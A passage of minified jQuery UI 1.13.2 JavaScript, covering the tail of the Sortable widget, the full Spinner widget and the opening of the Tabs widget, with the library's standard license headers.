}<\/style>").appendTo(e)),u.zIndex&&(this.helper.css("zIndex")&&(this._storedZIndex=this.helper.css("zIndex")),this.helper.css("zIndex",u.zIndex)),u.opacity&&(this.helper.css("opacity")&&(this._storedOpacity=this.helper.css("opacity")),this.helper.css("opacity",u.opacity)),this.scrollParent[0]!==this.document[0]&&this.scrollParent[0].tagName!=="HTML"&&(this.overflowOffset=this.scrollParent.offset()),this._trigger("start",t,this._uiHash()),this._preserveHelperProportions||this._cacheHelperProportions(),!r)for(f=this.containers.length-1;f>=0;f--)this.containers[f]._trigger("activate",t,this._uiHash(this));return n.ui.ddmanager&&(n.ui.ddmanager.current=this),n.ui.ddmanager&&!u.dropBehaviour&&n.ui.ddmanager.prepareOffsets(this,t),this.dragging=!0,this._addClass(this.helper,"ui-sortable-helper"),this.helper.parent().is(this.appendTo)||(this.helper.detach().appendTo(this.appendTo),this.offset.parent=this._getParentOffset()),this.position=this.originalPosition=this._generatePosition(t),this.originalPageX=t.pageX,this.originalPageY=t.pageY,this.lastPositionAbs=this.positionAbs=this._convertPositionTo("absolute"),this._mouseDrag(t),!0},_scroll:function(n){var t=this.options,i=!1;return this.scrollParent[0]!==this.document[0]&&this.scrollParent[0].tagName!=="HTML"?(this.overflowOffset.top+this.scrollParent[0].offsetHeight-n.pageY<t.scrollSensitivity?this.scrollParent[0].scrollTop=i=this.scrollParent[0].scrollTop+t.scrollSpeed:n.pageY-this.overflowOffset.top<t.scrollSensitivity&&(this.scrollParent[0].scrollTop=i=this.scrollParent[0].scrollTop-t.scrollSpeed),this.overflowOffset.left+this.scrollParent[0].offsetWidth-n.pageX<t.scrollSensitivity?this.scrollParent[0].scrollLeft=i=this.scrollParent[0].scrollLeft+t.scrollSpeed:n.pageX-this.overflowOffset.left<t.scrollSensitivity&&(this.scrollParent[0].scrollLeft=i=this.scrollParent[0].scrollLeft-t.scrollSpeed)):(n.pageY-this.document.scrollTop()<t.scrollSensitivity?i=this.document.scrollTop(this.document.scrollTop()-t.scrollSpeed):this.window.height()-(n.pageY-this.document.scrollTop())<t.scrollSensitivity&&(i=this.document.scrollTop(this.document.scrollTop()+t.scrollSpeed)),n.pageX-this.document.scrollLeft()<t.scrollSensitivity?i=this.document.scrollLeft(this.document.scrollLeft()-t.scrollSpeed):this.window.width()-(n.pageX-this.document.scrollLeft())<t.scrollSensitivity&&(i=this.document.scrollLeft(this.document.scrollLeft()+t.scrollSpeed))),i},_mouseDrag:function(t){var u,i,r,f,e=this.options;for(this.position=this._generatePosition(t),this.positionAbs=this._convertPositionTo("absolute"),this.options.axis&&this.options.axis==="y"||(this.helper[0].style.left=this.position.left+"px"),this.options.axis&&this.options.axis==="x"||(this.helper[0].style.top=this.position.top+"px"),e.scroll&&this._scroll(t)!==!1&&(this._refreshItemPositions(!0),n.ui.ddmanager&&!e.dropBehaviour&&n.ui.ddmanager.prepareOffsets(this,t)),this.dragDirection={vertical:this._getDragVerticalDirection(),horizontal:this._getDragHorizontalDirection()},u=this.items.length-1;u>=0;u--)if((i=this.items[u],r=i.item[0],f=this._intersectsWithPointer(i),f)&&i.instance===this.currentContainer&&r!==this.currentItem[0]&&this.placeholder[f===1?"next":"prev"]()[0]!==r&&!n.contains(this.placeholder[0],r)&&(this.options.type==="semi-dynamic"?!n.contains(this.element[0],r):!0)){if(this.direction=f===1?"down":"up",this.options.tolerance==="pointer"||this._intersectsWithSides(i))this._rearrange(t,i);else break;this._trigger("change",t,this._uiHash());break}return this._contactContainers(t),n.ui.ddmanager&&n.ui.ddmanager.drag(this,t),this._trigger("sort",t,this._uiHash()),this.lastPositionAbs=this.positionAbs,!1},_mouseStop:function(t,i){if(t){if(n.ui.ddmanager&&!this.options.dropBehaviour&&n.ui.ddmanager.drop(this,t),this.options.revert){var e=this,f=this.placeholder.offset(),r=this.options.axis,u={};r&&r!=="x"||(u.left=f.left-this.offset.parent.left-this.margins.left+(this.offsetParent[0]===this.document[0].body?0:this.offsetParent[0].scrollLeft));r&&r!=="y"||(u.top=f.top-this.offset.parent.top-this.margins.top+(this.offsetParent[0]===this.document[0].body?0:this.offsetParent[0].scrollTop));this.reverting=!0;n(this.helper).animate(u,parseInt(this.options.revert,10)||500,function(){e._clear(t)})}else this._clear(t,i);return!1}},cancel:function(){if(this.dragging){this._mouseUp(new n.Event("mouseup",{target:null}));this.options.helper==="original"?(this.currentItem.css(this._storedCSS),this._removeClass(this.currentItem,"ui-sortable-helper")):this.currentItem.show();for(var t=this.containers.length-1;t>=0;t--)this.containers[t]._trigger("deactivate",null,this._uiHash(this)),this.containers[t].containerCache.over&&(this.containers[t]._trigger("out",null,this._uiHash(this)),this.containers[t].containerCache.over=0)}return this.placeholder&&(this.placeholder[0].parentNode&&this.placeholder[0].parentNode.removeChild(this.placeholder[0]),this.options.helper!=="original"&&this.helper&&this.helper[0].parentNode&&this.helper.remove(),n.extend(this,{helper:null,dragging:!1,reverting:!1,_noFinalSort:null}),this.domPosition.prev?n(this.domPosition.prev).after(this.currentItem):n(this.domPosition.parent).prepend(this.currentItem)),this},serialize:function(t){var r=this._getItemsAsjQuery(t&&t.connected),i=[];return t=t||{},n(r).each(function(){var r=(n(t.item||this).attr(t.attribute||"id")||"").match(t.expression||/(.+)[\-=_](.+)/);r&&i.push((t.key||r[1]+"[]")+"="+(t.key&&t.expression?r[1]:r[2]))}),!i.length&&t.key&&i.push(t.key+"="),i.join("&")},toArray:function(t){var r=this._getItemsAsjQuery(t&&t.connected),i=[];return t=t||{},r.each(function(){i.push(n(t.item||this).attr(t.attribute||"id")||"")}),i},_intersectsWith:function(n){var t=this.positionAbs.left,h=t+this.helperProportions.width,i=this.positionAbs.top,c=i+this.helperProportions.height,r=n.left,f=r+n.width,u=n.top,e=u+n.height,o=this.offset.click.top,s=this.offset.click.left,l=this.options.axis==="x"||i+o>u&&i+o<e,a=this.options.axis==="y"||t+s>r&&t+s<f,v=l&&a;return this.options.tolerance==="pointer"||this.options.forcePointerForContainers||this.options.tolerance!=="pointer"&&this.helperProportions[this.floating?"width":"height"]>n[this.floating?"width":"height"]?v:r<t+this.helperProportions.width/2&&h-this.helperProportions.width/2<f&&u<i+this.helperProportions.height/2&&c-this.helperProportions.height/2<e},_intersectsWithPointer:function(n){var t,i,r=this.options.axis==="x"||this._isOverAxis(this.positionAbs.top+this.offset.click.top,n.top,n.height),u=this.options.axis==="y"||this._isOverAxis(this.positionAbs.left+this.offset.click.left,n.left,n.width),f=r&&u;return f?(t=this.dragDirection.vertical,i=this.dragDirection.horizontal,this.floating?i==="right"||t==="down"?2:1:t&&(t==="down"?2:1)):!1},_intersectsWithSides:function(n){var r=this._isOverAxis(this.positionAbs.top+this.offset.click.top,n.top+n.height/2,n.height),u=this._isOverAxis(this.positionAbs.left+this.offset.click.left,n.left+n.width/2,n.width),t=this.dragDirection.vertical,i=this.dragDirection.horizontal;return this.floating&&i?i==="right"&&u||i==="left"&&!u:t&&(t==="down"&&r||t==="up"&&!r)},_getDragVerticalDirection:function(){var n=this.positionAbs.top-this.lastPositionAbs.top;return n!==0&&(n>0?"down":"up")},_getDragHorizontalDirection:function(){var n=this.positionAbs.left-this.lastPositionAbs.left;return n!==0&&(n>0?"right":"left")},refresh:function(n){return this._refreshItems(n),this._setHandleClassName(),this.refreshPositions(),this},_connectWith:function(){var n=this.options;return n.connectWith.constructor===String?[n.connectWith]:n.connectWith},_getItemsAsjQuery:function(t){function h(){s.push(this)}var r,u,e,i,s=[],f=[],o=this._connectWith();if(o&&t)for(r=o.length-1;r>=0;r--)for(e=n(o[r],this.document[0]),u=e.length-1;u>=0;u--)i=n.data(e[u],this.widgetFullName),i&&i!==this&&!i.options.disabled&&f.push([typeof i.options.items=="function"?i.options.items.call(i.element):n(i.options.items,i.element).not(".ui-sortable-helper").not(".ui-sortable-placeholder"),i]);for(f.push([typeof this.options.items=="function"?this.options.items.call(this.element,null,{options:this.options,item:this.currentItem}):n(this.options.items,this.element).not(".ui-sortable-helper").not(".ui-sortable-placeholder"),this]),r=f.length-1;r>=0;r--)f[r][0].each(h);return n(s)},_removeCurrentsFromItems:function(){var t=this.currentItem.find(":data("+this.widgetName+"-item)");this.items=n.grep(this.items,function(n){for(var i=0;i<t.length;i++)if(t[i]===n.item[0])return!1;return!0})},_refreshItems:function(t){this.items=[];this.containers=[this];var r,u,e,i,o,s,h,l,a=this.items,f=[[typeof this.options.items=="function"?this.options.items.call(this.element[0],t,{item:this.currentItem}):n(this.options.items,this.element),this]],c=this._connectWith();if(c&&this.ready)for(r=c.length-1;r>=0;r--)for(e=n(c[r],this.document[0]),u=e.length-1;u>=0;u--)i=n.data(e[u],this.widgetFullName),i&&i!==this&&!i.options.disabled&&(f.push([typeof i.options.items=="function"?i.options.items.call(i.element[0],t,{item:this.currentItem}):n(i.options.items,i.element),i]),this.containers.push(i));for(r=f.length-1;r>=0;r--)for(o=f[r][1],s=f[r][0],u=0,l=s.length;u<l;u++)h=n(s[u]),h.data(this.widgetName+"-item",o),a.push({item:h,instance:o,width:0,height:0,left:0,top:0})},_refreshItemPositions:function(t){for(var i,u,f,r=this.items.length-1;r>=0;r--)(i=this.items[r],this.currentContainer&&i.instance!==this.currentContainer&&i.item[0]!==this.currentItem[0])||(u=this.options.toleranceElement?n(this.options.toleranceElement,i.item):i.item,t||(i.width=u.outerWidth(),i.height=u.outerHeight()),f=u.offset(),i.left=f.left,i.top=f.top)},refreshPositions:function(n){this.floating=this.items.length?this.options.axis==="x"||this._isFloating(this.items[0].item):!1;this.offsetParent&&this.helper&&(this.offset.parent=this._getParentOffset());this._refreshItemPositions(n);var t,i;if(this.options.custom&&this.options.custom.refreshContainers)this.options.custom.refreshContainers.call(this);else for(t=this.containers.length-1;t>=0;t--)i=this.containers[t].element.offset(),this.containers[t].containerCache.left=i.left,this.containers[t].containerCache.top=i.top,this.containers[t].containerCache.width=this.containers[t].element.outerWidth(),this.containers[t].containerCache.height=this.containers[t].element.outerHeight();return this},_createPlaceholder:function(t){t=t||this;var u,r,i=t.options;i.placeholder&&i.placeholder.constructor!==String||(u=i.placeholder,r=t.currentItem[0].nodeName.toLowerCase(),i.placeholder={element:function(){var i=n("<"+r+">",t.document[0]);return t._addClass(i,"ui-sortable-placeholder",u||t.currentItem[0].className)._removeClass(i,"ui-sortable-helper"),r==="tbody"?t._createTrPlaceholder(t.currentItem.find("tr").eq(0),n("<tr>",t.document[0]).appendTo(i)):r==="tr"?t._createTrPlaceholder(t.currentItem,i):r==="img"&&i.attr("src",t.currentItem.attr("src")),u||i.css("visibility","hidden"),i},update:function(n,f){(!u||i.forcePlaceholderSize)&&((!f.height()||i.forcePlaceholderSize&&(r==="tbody"||r==="tr"))&&f.height(t.currentItem.innerHeight()-parseInt(t.currentItem.css("paddingTop")||0,10)-parseInt(t.currentItem.css("paddingBottom")||0,10)),f.width()||f.width(t.currentItem.innerWidth()-parseInt(t.currentItem.css("paddingLeft")||0,10)-parseInt(t.currentItem.css("paddingRight")||0,10)))}});t.placeholder=n(i.placeholder.element.call(t.element,t.currentItem));t.currentItem.after(t.placeholder);i.placeholder.update(t,t.placeholder)},_createTrPlaceholder:function(t,i){var r=this;t.children().each(function(){n("<td>&#160;<\/td>",r.document[0]).attr("colspan",n(this).attr("colspan")||1).appendTo(i)})},_contactContainers:function(t){for(var u,c,f,a,v,o,l,s,h,e=null,i=null,r=this.containers.length-1;r>=0;r--)if(!n.contains(this.currentItem[0],this.containers[r].element[0]))if(this._intersectsWith(this.containers[r].containerCache)){if(e&&n.contains(this.containers[r].element[0],e.element[0]))continue;e=this.containers[r];i=r}else this.containers[r].containerCache.over&&(this.containers[r]._trigger("out",t,this._uiHash(this)),this.containers[r].containerCache.over=0);if(e)if(this.containers.length===1)this.containers[i].containerCache.over||(this.containers[i]._trigger("over",t,this._uiHash(this)),this.containers[i].containerCache.over=1);else{for(c=1e4,f=null,s=e.floating||this._isFloating(this.currentItem),a=s?"left":"top",v=s?"width":"height",h=s?"pageX":"pageY",u=this.items.length-1;u>=0;u--)n.contains(this.containers[i].element[0],this.items[u].item[0])&&this.items[u].item[0]!==this.currentItem[0]&&(o=this.items[u].item.offset()[a],l=!1,t[h]-o>this.items[u][v]/2&&(l=!0),Math.abs(t[h]-o)<c&&(c=Math.abs(t[h]-o),f=this.items[u],this.direction=l?"up":"down"));if(!f&&!this.options.dropOnEmpty)return;if(this.currentContainer===this.containers[i]){this.currentContainer.containerCache.over||(this.containers[i]._trigger("over",t,this._uiHash()),this.currentContainer.containerCache.over=1);return}f?this._rearrange(t,f,null,!0):this._rearrange(t,null,this.containers[i].element,!0);this._trigger("change",t,this._uiHash());this.containers[i]._trigger("change",t,this._uiHash(this));this.currentContainer=this.containers[i];this.options.placeholder.update(this.currentContainer,this.placeholder);this.scrollParent=this.placeholder.scrollParent();this.scrollParent[0]!==this.document[0]&&this.scrollParent[0].tagName!=="HTML"&&(this.overflowOffset=this.scrollParent.offset());this.containers[i]._trigger("over",t,this._uiHash(this));this.containers[i].containerCache.over=1}},_createHelper:function(t){var r=this.options,i=typeof r.helper=="function"?n(r.helper.apply(this.element[0],[t,this.currentItem])):r.helper==="clone"?this.currentItem.clone():this.currentItem;return i.parents("body").length||this.appendTo[0].appendChild(i[0]),i[0]===this.currentItem[0]&&(this._storedCSS={width:this.currentItem[0].style.width,height:this.currentItem[0].style.height,position:this.currentItem.css("position"),top:this.currentItem.css("top"),left:this.currentItem.css("left")}),(!i[0].style.width||r.forceHelperSize)&&i.width(this.currentItem.width()),(!i[0].style.height||r.forceHelperSize)&&i.height(this.currentItem.height()),i},_adjustOffsetFromHelper:function(n){typeof n=="string"&&(n=n.split(" "));Array.isArray(n)&&(n={left:+n[0],top:+n[1]||0});"left"in n&&(this.offset.click.left=n.left+this.margins.left);"right"in n&&(this.offset.click.left=this.helperProportions.width-n.right+this.margins.left);"top"in n&&(this.offset.click.top=n.top+this.margins.top);"bottom"in n&&(this.offset.click.top=this.helperProportions.height-n.bottom+this.margins.top)},_getParentOffset:function(){this.offsetParent=this.helper.offsetParent();var t=this.offsetParent.offset();return this.cssPosition==="absolute"&&this.scrollParent[0]!==this.document[0]&&n.contains(this.scrollParent[0],this.offsetParent[0])&&(t.left+=this.scrollParent.scrollLeft(),t.top+=this.scrollParent.scrollTop()),(this.offsetParent[0]===this.document[0].body||this.offsetParent[0].tagName&&this.offsetParent[0].tagName.toLowerCase()==="html"&&n.ui.ie)&&(t={top:0,left:0}),{top:t.top+(parseInt(this.offsetParent.css("borderTopWidth"),10)||0),left:t.left+(parseInt(this.offsetParent.css("borderLeftWidth"),10)||0)}},_getRelativeOffset:function(){if(this.cssPosition==="relative"){var n=this.currentItem.position();return{top:n.top-(parseInt(this.helper.css("top"),10)||0)+this.scrollParent.scrollTop(),left:n.left-(parseInt(this.helper.css("left"),10)||0)+this.scrollParent.scrollLeft()}}return{top:0,left:0}},_cacheMargins:function(){this.margins={left:parseInt(this.currentItem.css("marginLeft"),10)||0,top:parseInt(this.currentItem.css("marginTop"),10)||0}},_cacheHelperProportions:function(){this.helperProportions={width:this.helper.outerWidth(),height:this.helper.outerHeight()}},_setContainment:function(){var t,r,u,i=this.options;i.containment==="parent"&&(i.containment=this.helper[0].parentNode);(i.containment==="document"||i.containment==="window")&&(this.containment=[0-this.offset.relative.left-this.offset.parent.left,0-this.offset.relative.top-this.offset.parent.top,i.containment==="document"?this.document.width():this.window.width()-this.helperProportions.width-this.margins.left,(i.containment==="document"?this.document.height()||document.body.parentNode.scrollHeight:this.window.height()||this.document[0].body.parentNode.scrollHeight)-this.helperProportions.height-this.margins.top]);/^(document|window|parent)$/.test(i.containment)||(t=n(i.containment)[0],r=n(i.containment).offset(),u=n(t).css("overflow")!=="hidden",this.containment=[r.left+(parseInt(n(t).css("borderLeftWidth"),10)||0)+(parseInt(n(t).css("paddingLeft"),10)||0)-this.margins.left,r.top+(parseInt(n(t).css("borderTopWidth"),10)||0)+(parseInt(n(t).css("paddingTop"),10)||0)-this.margins.top,r.left+(u?Math.max(t.scrollWidth,t.offsetWidth):t.offsetWidth)-(parseInt(n(t).css("borderLeftWidth"),10)||0)-(parseInt(n(t).css("paddingRight"),10)||0)-this.helperProportions.width-this.margins.left,r.top+(u?Math.max(t.scrollHeight,t.offsetHeight):t.offsetHeight)-(parseInt(n(t).css("borderTopWidth"),10)||0)-(parseInt(n(t).css("paddingBottom"),10)||0)-this.helperProportions.height-this.margins.top])},_convertPositionTo:function(t,i){i||(i=this.position);var r=t==="absolute"?1:-1,u=this.cssPosition==="absolute"&&!(this.scrollParent[0]!==this.document[0]&&n.contains(this.scrollParent[0],this.offsetParent[0]))?this.offsetParent:this.scrollParent,f=/(html|body)/i.test(u[0].tagName);return{top:i.top+this.offset.relative.top*r+this.offset.parent.top*r-(this.cssPosition==="fixed"?-this.scrollParent.scrollTop():f?0:u.scrollTop())*r,left:i.left+this.offset.relative.left*r+this.offset.parent.left*r-(this.cssPosition==="fixed"?-this.scrollParent.scrollLeft():f?0:u.scrollLeft())*r}},_generatePosition:function(t){var r,u,i=this.options,f=t.pageX,e=t.pageY,o=this.cssPosition==="absolute"&&!(this.scrollParent[0]!==this.document[0]&&n.contains(this.scrollParent[0],this.offsetParent[0]))?this.offsetParent:this.scrollParent,s=/(html|body)/i.test(o[0].tagName);return this.cssPosition!=="relative"||this.scrollParent[0]!==this.document[0]&&this.scrollParent[0]!==this.offsetParent[0]||(this.offset.relative=this._getRelativeOffset()),this.originalPosition&&(this.containment&&(t.pageX-this.offset.click.left<this.containment[0]&&(f=this.containment[0]+this.offset.click.left),t.pageY-this.offset.click.top<this.containment[1]&&(e=this.containment[1]+this.offset.click.top),t.pageX-this.offset.click.left>this.containment[2]&&(f=this.containment[2]+this.offset.click.left),t.pageY-this.offset.click.top>this.containment[3]&&(e=this.containment[3]+this.offset.click.top)),i.grid&&(r=this.originalPageY+Math.round((e-this.originalPageY)/i.grid[1])*i.grid[1],e=this.containment?r-this.offset.click.top>=this.containment[1]&&r-this.offset.click.top<=this.containment[3]?r:r-this.offset.click.top>=this.containment[1]?r-i.grid[1]:r+i.grid[1]:r,u=this.originalPageX+Math.round((f-this.originalPageX)/i.grid[0])*i.grid[0],f=this.containment?u-this.offset.click.left>=this.containment[0]&&u-this.offset.click.left<=this.containment[2]?u:u-this.offset.click.left>=this.containment[0]?u-i.grid[0]:u+i.grid[0]:u)),{top:e-this.offset.click.top-this.offset.relative.top-this.offset.parent.top+(this.cssPosition==="fixed"?-this.scrollParent.scrollTop():s?0:o.scrollTop()),left:f-this.offset.click.left-this.offset.relative.left-this.offset.parent.left+(this.cssPosition==="fixed"?-this.scrollParent.scrollLeft():s?0:o.scrollLeft())}},_rearrange:function(n,t,i,r){i?i[0].appendChild(this.placeholder[0]):t.item[0].parentNode.insertBefore(this.placeholder[0],this.direction==="down"?t.item[0]:t.item[0].nextSibling);this.counter=this.counter?++this.counter:1;var u=this.counter;this._delay(function(){u===this.counter&&this.refreshPositions(!r)})},_clear:function(n,t){function u(n,t,i){return function(r){i._trigger(n,r,t._uiHash(t))}}this.reverting=!1;var i,r=[];if(!this._noFinalSort&&this.currentItem.parent().length&&this.placeholder.before(this.currentItem),this._noFinalSort=null,this.helper[0]===this.currentItem[0]){for(i in this._storedCSS)(this._storedCSS[i]==="auto"||this._storedCSS[i]==="static")&&(this._storedCSS[i]="");this.currentItem.css(this._storedCSS);this._removeClass(this.currentItem,"ui-sortable-helper")}else this.currentItem.show();for(this.fromOutside&&!t&&r.push(function(n){this._trigger("receive",n,this._uiHash(this.fromOutside))}),(this.fromOutside||this.domPosition.prev!==this.currentItem.prev().not(".ui-sortable-helper")[0]||this.domPosition.parent!==this.currentItem.parent()[0])&&!t&&r.push(function(n){this._trigger("update",n,this._uiHash())}),this!==this.currentContainer&&(t||(r.push(function(n){this._trigger("remove",n,this._uiHash())}),r.push(function(n){return function(t){n._trigger("receive",t,this._uiHash(this))}}.call(this,this.currentContainer)),r.push(function(n){return function(t){n._trigger("update",t,this._uiHash(this))}}.call(this,this.currentContainer)))),i=this.containers.length-1;i>=0;i--)t||r.push(u("deactivate",this,this.containers[i])),this.containers[i].containerCache.over&&(r.push(u("out",this,this.containers[i])),this.containers[i].containerCache.over=0);if(this.storedCursor&&(this.document.find("body").css("cursor",this.storedCursor),this.storedStylesheet.remove()),this._storedOpacity&&this.helper.css("opacity",this._storedOpacity),this._storedZIndex&&this.helper.css("zIndex",this._storedZIndex==="auto"?"":this._storedZIndex),this.dragging=!1,t||this._trigger("beforeStop",n,this._uiHash()),this.placeholder[0].parentNode.removeChild(this.placeholder[0]),this.cancelHelperRemoval||(this.helper[0]!==this.currentItem[0]&&this.helper.remove(),this.helper=null),!t){for(i=0;i<r.length;i++)r[i].call(this,n);this._trigger("stop",n,this._uiHash())}return this.fromOutside=!1,!this.cancelHelperRemoval},_trigger:function(){n.Widget.prototype._trigger.apply(this,arguments)===!1&&this.cancel()},_uiHash:function(t){var i=t||this;return{helper:i.helper,placeholder:i.placeholder||n([]),position:i.position,originalPosition:i.originalPosition,offset:i.positionAbs,item:i.currentItem,sender:t?t.element:null}}});
/*!
 * jQuery UI Spinner 1.13.2
 * http://jqueryui.com
 *
 * Copyright jQuery Foundation and other contributors
 * Released under the MIT license.
 * http://jquery.org/license
 */
n.widget("ui.spinner",{version:"1.13.2",defaultElement:"<input>",widgetEventPrefix:"spin",options:{classes:{"ui-spinner":"ui-corner-all","ui-spinner-down":"ui-corner-br","ui-spinner-up":"ui-corner-tr"},culture:null,icons:{down:"ui-icon-triangle-1-s",up:"ui-icon-triangle-1-n"},incremental:!0,max:null,min:null,numberFormat:null,page:10,step:1,change:null,spin:null,start:null,stop:null},_create:function(){this._setOption("max",this.options.max);this._setOption("min",this.options.min);this._setOption("step",this.options.step);this.value()!==""&&this._value(this.element.val(),!0);this._draw();this._on(this._events);this._refresh();this._on(this.window,{beforeunload:function(){this.element.removeAttr("autocomplete")}})},_getCreateOptions:function(){var t=this._super(),i=this.element;return n.each(["min","max","step"],function(n,r){var u=i.attr(r);u!=null&&u.length&&(t[r]=u)}),t},_events:{keydown:function(n){this._start(n)&&this._keydown(n)&&n.preventDefault()},keyup:"_stop",focus:function(){this.previous=this.element.val()},blur:function(n){if(this.cancelBlur){delete this.cancelBlur;return}this._stop();this._refresh();this.previous!==this.element.val()&&this._trigger("change",n)},mousewheel:function(t,i){var r=n.ui.safeActiveElement(this.document[0]),u=this.element[0]===r;if(u&&i){if(!this.spinning&&!this._start(t))return!1;this._spin((i>0?1:-1)*this.options.step,t);clearTimeout(this.mousewheelTimer);this.mousewheelTimer=this._delay(function(){this.spinning&&this._stop(t)},100);t.preventDefault()}},"mousedown .ui-spinner-button":function(t){function r(){var t=this.element[0]===n.ui.safeActiveElement(this.document[0]);t||(this.element.trigger("focus"),this.previous=i,this._delay(function(){this.previous=i}))}var i;(i=this.element[0]===n.ui.safeActiveElement(this.document[0])?this.previous:this.element.val(),t.preventDefault(),r.call(this),this.cancelBlur=!0,this._delay(function(){delete this.cancelBlur;r.call(this)}),this._start(t)!==!1)&&this._repeat(null,n(t.currentTarget).hasClass("ui-spinner-up")?1:-1,t)},"mouseup .ui-spinner-button":"_stop","mouseenter .ui-spinner-button":function(t){if(n(t.currentTarget).hasClass("ui-state-active")){if(this._start(t)===!1)return!1;this._repeat(null,n(t.currentTarget).hasClass("ui-spinner-up")?1:-1,t)}},"mouseleave .ui-spinner-button":"_stop"},_enhance:function(){this.uiSpinner=this.element.attr("autocomplete","off").wrap("<span>").parent().append("<a><\/a><a><\/a>")},_draw:function(){this._enhance();this._addClass(this.uiSpinner,"ui-spinner","ui-widget ui-widget-content");this._addClass("ui-spinner-input");this.element.attr("role","spinbutton");this.buttons=this.uiSpinner.children("a").attr("tabIndex",-1).attr("aria-hidden",!0).button({classes:{"ui-button":""}});this._removeClass(this.buttons,"ui-corner-all");this._addClass(this.buttons.first(),"ui-spinner-button ui-spinner-up");this._addClass(this.buttons.last(),"ui-spinner-button ui-spinner-down");this.buttons.first().button({icon:this.options.icons.up,showLabel:!1});this.buttons.last().button({icon:this.options.icons.down,showLabel:!1});this.buttons.height()>Math.ceil(this.uiSpinner.height()*.5)&&this.uiSpinner.height()>0&&this.uiSpinner.height(this.uiSpinner.height())},_keydown:function(t){var r=this.options,i=n.ui.keyCode;switch(t.keyCode){case i.UP:return this._repeat(null,1,t),!0;case i.DOWN:return this._repeat(null,-1,t),!0;case i.PAGE_UP:return this._repeat(null,r.page,t),!0;case i.PAGE_DOWN:return this._repeat(null,-r.page,t),!0}return!1},_start:function(n){return!this.spinning&&this._trigger("start",n)===!1?!1:(this.counter||(this.counter=1),this.spinning=!0,!0)},_repeat:function(n,t,i){n=n||500;clearTimeout(this.timer);this.timer=this._delay(function(){this._repeat(40,t,i)},n);this._spin(t*this.options.step,i)},_spin:function(n,t){var i=this.value()||0;this.counter||(this.counter=1);i=this._adjustValue(i+n*this._increment(this.counter));this.spinning&&this._trigger("spin",t,{value:i})===!1||(this._value(i),this.counter++)},_increment:function(n){var t=this.options.incremental;return t?typeof t=="function"?t(n):Math.floor(n*n*n/5e4-n*n/500+17*n/200+1):1},_precision:function(){var n=this._precisionOf(this.options.step);return this.options.min!==null&&(n=Math.max(n,this._precisionOf(this.options.min))),n},_precisionOf:function(n){var t=n.toString(),i=t.indexOf(".");return i===-1?0:t.length-i-1},_adjustValue:function(n){var r,i,t=this.options;return(r=t.min!==null?t.min:0,i=n-r,i=Math.round(i/t.step)*t.step,n=r+i,n=parseFloat(n.toFixed(this._precision())),t.max!==null&&n>t.max)?t.max:t.min!==null&&n<t.min?t.min:n},_stop:function(n){this.spinning&&(clearTimeout(this.timer),clearTimeout(this.mousewheelTimer),this.counter=0,this.spinning=!1,this._trigger("stop",n))},_setOption:function(n,t){var u,i,r;if(n==="culture"||n==="numberFormat"){u=this._parse(this.element.val());this.options[n]=t;this.element.val(this._format(u));return}(n==="max"||n==="min"||n==="step")&&typeof t=="string"&&(t=this._parse(t));n==="icons"&&(i=this.buttons.first().find(".ui-icon"),this._removeClass(i,null,this.options.icons.up),this._addClass(i,null,t.up),r=this.buttons.last().find(".ui-icon"),this._removeClass(r,null,this.options.icons.down),this._addClass(r,null,t.down));this._super(n,t)},_setOptionDisabled:function(n){this._super(n);this._toggleClass(this.uiSpinner,null,"ui-state-disabled",!!n);this.element.prop("disabled",!!n);this.buttons.button(n?"disable":"enable")},_setOptions:e(function(n){this._super(n)}),_parse:function(n){return typeof n=="string"&&n!==""&&(n=window.Globalize&&this.options.numberFormat?Globalize.parseFloat(n,10,this.options.culture):+n),n===""||isNaN(n)?null:n},_format:function(n){return n===""?"":window.Globalize&&this.options.numberFormat?Globalize.format(n,this.options.numberFormat,this.options.culture):n},_refresh:function(){this.element.attr({"aria-valuemin":this.options.min,"aria-valuemax":this.options.max,"aria-valuenow":this._parse(this.element.val())})},isValid:function(){var n=this.value();return n===null?!1:n===this._adjustValue(n)},_value:function(n,t){var i;n!==""&&(i=this._parse(n),i!==null&&(t||(i=this._adjustValue(i)),n=this._format(i)));this.element.val(n);this._refresh()},_destroy:function(){this.element.prop("disabled",!1).removeAttr("autocomplete role aria-valuemin aria-valuemax aria-valuenow");this.uiSpinner.replaceWith(this.element)},stepUp:e(function(n){this._stepUp(n)}),_stepUp:function(n){this._start()&&(this._spin((n||1)*this.options.step),this._stop())},stepDown:e(function(n){this._stepDown(n)}),_stepDown:function(n){this._start()&&(this._spin((n||1)*-this.options.step),this._stop())},pageUp:e(function(n){this._stepUp((n||1)*this.options.page)}),pageDown:e(function(n){this._stepDown((n||1)*this.options.page)}),value:function(n){if(!arguments.length)return this._parse(this.element.val());e(this._value).call(this,n)},widget:function(){return this.uiSpinner}});n.uiBackCompat!==!1&&n.widget("ui.spinner",n.ui.spinner,{_enhance:function(){this.uiSpinner=this.element.attr("autocomplete","off").wrap(this._uiSpinnerHtml()).parent().append(this._buttonHtml())},_uiSpinnerHtml:function(){return"<span>"},_buttonHtml:function(){return"<a><\/a><a><\/a>"}});dr=n.ui.spinner;
/*!
 * jQuery UI Tabs 1.13.2
 * http://jqueryui.com
 *
 * Copyright jQuery Foundation and other contributors
 * Released under the MIT license.
 * http://jquery.org/license
 */
n.widget("ui.tabs",{version:"1.13.2",delay:300,options:{active:null,classes:{"ui-tabs":"ui-corner-all","ui-tabs-nav":"ui-corner-all","ui-tabs-panel":"ui-corner-bottom","ui-tabs-tab":"ui-corner-top"},collapsible:!1,event:"click",heightStyle:"content",hide:null,show:null,activate:null,beforeActivate:null,beforeLoad:null,load:null},_isLocal:function(){var n=/#.*$/;return function(t){var i,r;i=t.href.replace(n,"");r=location.href.replace(n,"");try{i=decodeURIComponent(i)}catch(u){}try{r=decodeURIComponent(r)}catch(u){}return t.hash.length>1&&i===r}}(),_create:function(){var i=this,t=this.options;this.running=!1;this._addClass("ui-tabs","ui-widget ui-widget-content");this._toggleClass("ui-tabs-collapsible",null,t.collapsible);this._processTabs();t.active=this._initialActive();Array.isArray(t.disabled)&&(t.disabled=n.uniqueSort(t.disabled.concat(n.map(this.tabs.filter(".ui-state-disabled"),function(n){return i.tabs.index(n)}))).sort());this.active=this.options.active!==!1&&this.anchors.length?this._findActive(t.active):n();this._refresh();this.active.length&&this.load(t.active)},_initialActive:function(){var t=this.options.active,i=this.options.collapsible,r=location.hash.substring(1);return t===null&&(r&&this.tabs.each(function(i,u){if(n(u).attr("aria-controls")===r)return 